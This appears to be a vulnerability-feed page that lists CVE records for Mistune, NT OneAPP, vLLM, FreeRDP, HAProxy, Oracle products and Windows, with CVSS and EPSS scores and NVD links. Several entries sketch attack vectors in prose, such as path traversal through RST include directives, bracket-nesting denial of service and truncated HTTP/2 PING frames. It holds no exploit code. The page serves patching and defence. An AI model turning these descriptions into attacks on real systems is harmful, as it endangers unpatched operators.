EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115353&date=2026-10-25).
Sources:
NVD CVE-2026-115353: https://nvd.nist.gov/vuln/detail/CVE-2026-115353
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115353&date=2026-10-25
Mistune before 3.3.0 contains a path traversal vulnerability in the RST include directive that allows attackers to read arbitrary files by supplying relative or absolute paths. Attackers can submit markdown containing include directives referencing ../ sequences or absolute paths to embed sensitive files like credentials or environment data in rendered HTML.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity denial of service vulnerability in the parse_link_text function in src/mistune/helpers.py.
https://kevwire.com/record/CVE-2026-115349
Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity denial of service vulnerability in the parse_link_text function in src/mistune/helpers.py. (Oct 22, 2026).
Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity denial of service vulnerability in the parse_link_text function in src/mistune/helpers.py. Attackers can submit markdown with deeply nested square brackets triggering quadratic parsing time, exhausting server CPU with small crafted requests.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115349).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115349&date=2026-10-25).
Sources:
NVD CVE-2026-115349: https://nvd.nist.gov/vuln/detail/CVE-2026-115349
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115349&date=2026-10-25
Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity denial of service vulnerability in the parse_link_text function in src/mistune/helpers.py. Attackers can submit markdown with deeply nested square brackets triggering quadratic parsing time, exhausting server CPU with small crafted requests.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mistune before 3.3.0 contains an inefficient algorithmic complexity vulnerability in parse_link_text that allows remote attackers to cause denial of service through unbalanced...
https://kevwire.com/record/CVE-2026-115347
Mistune before 3.3.0 contains an inefficient algorithmic complexity vulnerability in parse_link_text that allows remote attackers to cause denial of service through unbalanced... (Oct 22, 2026).
Mistune before 3.3.0 contains an inefficient algorithmic complexity vulnerability in parse_link_text that allows remote attackers to cause denial of service through unbalanced square brackets. Attackers can submit markdown containing long runs of unmatched brackets to mistune.html(), triggering repeated forward scans that stall worker processes for minutes.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115347).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115347&date=2026-10-25).
Sources:
NVD CVE-2026-115347: https://nvd.nist.gov/vuln/detail/CVE-2026-115347
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115347&date=2026-10-25
Mistune before 3.3.0 contains an inefficient algorithmic complexity vulnerability in parse_link_text that allows remote attackers to cause denial of service through unbalanced square brackets. Attackers can submit markdown containing long runs of unmatched brackets to mistune.html(), triggering repeated forward scans that stall worker processes for minutes.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NT OneAPP developed by NewType Infortech has an Improper Certificate Validation vulnerability.
https://kevwire.com/record/CVE-2026-114220
NT OneAPP developed by NewType Infortech has an Improper Certificate Validation vulnerability. (Oct 22, 2026).
NT OneAPP developed by NewType Infortech has an Improper Certificate Validation vulnerability. Unauthenticated network-adjacent attackers can perform a man-in-the-middle attack by failing to validate the server certificate and the hostname, thereby intercepting or modifying communications between the application and the server.
CVSS 9.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114220).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114220&date=2026-10-25).
Sources:
NVD CVE-2026-114220: https://nvd.nist.gov/vuln/detail/CVE-2026-114220
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114220&date=2026-10-25
NT OneAPP developed by NewType Infortech has an Improper Certificate Validation vulnerability. Unauthenticated network-adjacent attackers can perform a man-in-the-middle attack by failing to validate the server certificate and the hostname, thereby intercepting or modifying communications between the application and the server.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NT OneAPP developed by NewType Infortech has a Hard-coded Credentials vulnerability.
https://kevwire.com/record/CVE-2026-114219
NT OneAPP developed by NewType Infortech has a Hard-coded Credentials vulnerability. (Oct 22, 2026).
NT OneAPP developed by NewType Infortech has a Hard-coded Credentials vulnerability. Unauthenticated remote attackers can obtain the hard-coded cryptographic key and decrypt login request contents, thereby obtaining users' plaintext account credentials and device information.
CVSS 9.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114219).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114219&date=2026-10-25).
Sources:
NVD CVE-2026-114219: https://nvd.nist.gov/vuln/detail/CVE-2026-114219
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114219&date=2026-10-25
NT OneAPP developed by NewType Infortech has a Hard-coded Credentials vulnerability. Unauthenticated remote attackers can obtain the hard-coded cryptographic key and decrypt login request contents, thereby obtaining users' plaintext account credentials and device information.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM after 0.24.0 and before 0.31.0 contains a memory exhaustion vulnerability in MOSS-Audio model serving that caches a processor for every distinct request-controlled...
https://kevwire.com/record/CVE-2026-114052
vLLM after 0.24.0 and before 0.31.0 contains a memory exhaustion vulnerability in MOSS-Audio model serving that caches a processor for every distinct request-controlled... (Oct 21, 2026).
vLLM after 0.24.0 and before 0.31.0 contains a memory exhaustion vulnerability in MOSS-Audio model serving that caches a processor for every distinct request-controlled mm_processor_kwargs value in an unbounded dictionary. Unauthenticated attackers can send distinct or oversized mel_config values to the /tokenize endpoint, which bypasses --api-key, to exhaust host memory and crash the API process.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114052).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114052&date=2026-10-25).
Sources:
NVD CVE-2026-114052: https://nvd.nist.gov/vuln/detail/CVE-2026-114052
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114052&date=2026-10-25
vLLM after 0.24.0 and before 0.31.0 contains a memory exhaustion vulnerability in MOSS-Audio model serving that caches a processor for every distinct request-controlled mm_processor_kwargs value in an unbounded dictionary. Unauthenticated attackers can send distinct or oversized mel_config values to the /tokenize endpoint, which bypasses --api-key, to exhaust host memory and crash the API process.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 2.0.0 before 3.32.0 contains an improper certificate validation vulnerability in its proxy that accepts untrusted target TLS certificates when no verification module...
https://kevwire.com/record/CVE-2026-114047
FreeRDP from 2.0.0 before 3.32.0 contains an improper certificate validation vulnerability in its proxy that accepts untrusted target TLS certificates when no verification module... (Oct 21, 2026).
FreeRDP from 2.0.0 before 3.32.0 contains an improper certificate validation vulnerability in its proxy that accepts untrusted target TLS certificates when no verification module is configured. Network-positioned attackers can intercept the proxy's outbound connection and present a self-signed, wrong-hostname certificate to impersonate the RDP target and receive proxied session data.
CVSS 7.6 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114047).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114047&date=2026-10-25).
Sources:
NVD CVE-2026-114047: https://nvd.nist.gov/vuln/detail/CVE-2026-114047
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114047&date=2026-10-25
FreeRDP from 2.0.0 before 3.32.0 contains an improper certificate validation vulnerability in its proxy that accepts untrusted target TLS certificates when no verification module is configured. Network-positioned attackers can intercept the proxy's outbound connection and present a self-signed, wrong-hostname certificate to impersonate the RDP target and receive proxied session data.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP 3.32.0 contains a use-after-free vulnerability in the drdynvc channel that frees a pool-owned stream with the owned-stream deallocator when totalLength is smaller than the...
https://kevwire.com/record/CVE-2026-114042
FreeRDP 3.32.0 contains a use-after-free vulnerability in the drdynvc channel that frees a pool-owned stream with the owned-stream deallocator when totalLength is smaller than the... (Oct 21, 2026).
FreeRDP 3.32.0 contains a use-after-free vulnerability in the drdynvc channel that frees a pool-owned stream with the owned-stream deallocator when totalLength is smaller than the chunk size. A malicious RDP server can send a single well-formed Virtual Channel PDU to trigger the free and crash the client during teardown.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114042).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114042&date=2026-10-25).
Sources:
NVD CVE-2026-114042: https://nvd.nist.gov/vuln/detail/CVE-2026-114042
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114042&date=2026-10-25
FreeRDP 3.32.0 contains a use-after-free vulnerability in the drdynvc channel that frees a pool-owned stream with the owned-stream deallocator when totalLength is smaller than the chunk size. A malicious RDP server can send a single well-formed Virtual Channel PDU to trigger the free and crash the client during teardown.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HAProxy 3 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (persistent worker-thread CPU exhaustion) via an HTTP/1.1 chunked request.
https://kevwire.com/record/CVE-2026-110354
HAProxy 3 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (persistent worker-thread CPU exhaustion) via an HTTP/1.1 chunked request. (Oct 22, 2026).
HAProxy 3 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (persistent worker-thread CPU exhaustion) via an HTTP/1.1 chunked request. Although the H1 multiplexer drains the request before closing the stream, the parser repeatedly re-processes the same bytes without making progress. The affected thread stays busy at 100% CPU after timeouts expire and after the client disconnects, and repeated requests can consume all worker threads until the process is restarted.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110354).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110354&date=2026-10-25).
Sources:
NVD CVE-2026-110354: https://nvd.nist.gov/vuln/detail/CVE-2026-110354
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110354&date=2026-10-25
HAProxy 3 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (persistent worker-thread CPU exhaustion) via an HTTP/1.1 chunked request. Although the H1 multiplexer drains the request before closing the stream, the parser repeatedly re-processes the same bytes without making progress. The affected thread stays busy at 100% CPU after timeouts expire and after the client disconnects, and repeated requests can consume all worker threads until the process is restarted.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HAProxy 3.2 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (worker-thread CPU exhaustion) via a truncated HTTP/2 PING frame.
https://kevwire.com/record/CVE-2026-110353
HAProxy 3.2 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (worker-thread CPU exhaustion) via a truncated HTTP/2 PING frame. (Oct 22, 2026).
HAProxy 3.2 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (worker-thread CPU exhaustion) via a truncated HTTP/2 PING frame. h2c_handle_ping in src/mux_h2.c does not check for a short read, unlike the other H2 frame handlers. Because the incomplete frame cannot be processed, its data is never consumed, and the H2 multiplexer tasklet is repeatedly woken by that pending data without making progress. The CPU spins until timeout http-request closes the connection, and an attacker opening many such connections can sustain high CPU usage.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110353).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110353&date=2026-10-25).
Sources:
NVD CVE-2026-110353: https://nvd.nist.gov/vuln/detail/CVE-2026-110353
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110353&date=2026-10-25
HAProxy 3.2 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (worker-thread CPU exhaustion) via a truncated HTTP/2 PING frame. h2c_handle_ping in src/mux_h2.c does not check for a short read, unlike the other H2 frame handlers. Because the incomplete frame cannot be processed, its data is never consumed, and the H2 multiplexer tasklet is repeatedly woken by that pending data without making progress. The CPU spins until timeout http-request closes the connection, and an attacker opening many such connections can sustain high CPU usage.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General).
https://kevwire.com/record/CVE-2026-101810
Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General). (Oct 20, 2026).
Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General).   The supported version that is affected is 26.7.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Router.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Router. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101810).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101810&date=2026-10-25).
Sources:
NVD CVE-2026-101810: https://nvd.nist.gov/vuln/detail/CVE-2026-101810
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101810&date=2026-10-25
Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General).   The supported version that is affected is 26.7.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Router.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Router. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).
https://kevwire.com/record/CVE-2026-101679
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs). (Oct 20, 2026).
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101679).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101679&date=2026-10-25).
Sources:
NVD CVE-2026-101679: https://nvd.nist.gov/vuln/detail/CVE-2026-101679
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101679&date=2026-10-25
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-webclient-http2).
https://kevwire.com/record/CVE-2026-101572
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-webclient-http2). (Oct 20, 2026).
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-webclient-http2).  Supported versions that are affected are 4.0.0-4.5.5 and 27.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP/2 to compromise Helidon.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Helidon. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101572).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101572&date=2026-10-25).
Sources:
NVD CVE-2026-101572: https://nvd.nist.gov/vuln/detail/CVE-2026-101572
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101572&date=2026-10-25
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-webclient-http2).  Supported versions that are affected are 4.0.0-4.5.5 and 27.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP/2 to compromise Helidon.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Helidon. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Global Lifecycle Management NextGen OUI Framework product of Oracle Fusion Middleware (component: NextGen Installer).
https://kevwire.com/record/CVE-2026-101520
Vulnerability in the Oracle Global Lifecycle Management NextGen OUI Framework product of Oracle Fusion Middleware (component: NextGen Installer). (Oct 20, 2026).
Vulnerability in the Oracle Global Lifecycle Management NextGen OUI Framework product of Oracle Fusion Middleware (component: NextGen Installer).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, 14.1.2.1.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Global Lifecycle Management NextGen OUI Framework.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Global Lifecycle Management NextGen OUI Framework. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101520).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101520&date=2026-10-25).
Sources:
NVD CVE-2026-101520: https://nvd.nist.gov/vuln/detail/CVE-2026-101520
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101520&date=2026-10-25
Vulnerability in the Oracle Global Lifecycle Management NextGen OUI Framework product of Oracle Fusion Middleware (component: NextGen Installer).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, 14.1.2.1.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Global Lifecycle Management NextGen OUI Framework.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Global Lifecycle Management NextGen OUI Framework. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: EAI).
https://kevwire.com/record/CVE-2026-101508
Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: EAI). (Oct 20, 2026).
Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: EAI).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Integration.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Integration. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101508).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101508&date=2026-10-25).
Sources:
NVD CVE-2026-101508: https://nvd.nist.gov/vuln/detail/CVE-2026-101508
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101508&date=2026-10-25
Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: EAI).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Integration.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Integration. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Client License Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96912
Use after free in Windows Client License Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Client License Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96912).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96912&date=2026-10-25).
Sources:
NVD CVE-2026-96912: https://nvd.nist.gov/vuln/detail/CVE-2026-96912
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96912
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96912&date=2026-10-25
Use after free in Windows Client License Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96911
Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96911).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96911&date=2026-10-25).
Sources:
NVD CVE-2026-96911: https://nvd.nist.gov/vuln/detail/CVE-2026-96911
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96911
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96911&date=2026-10-25
Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

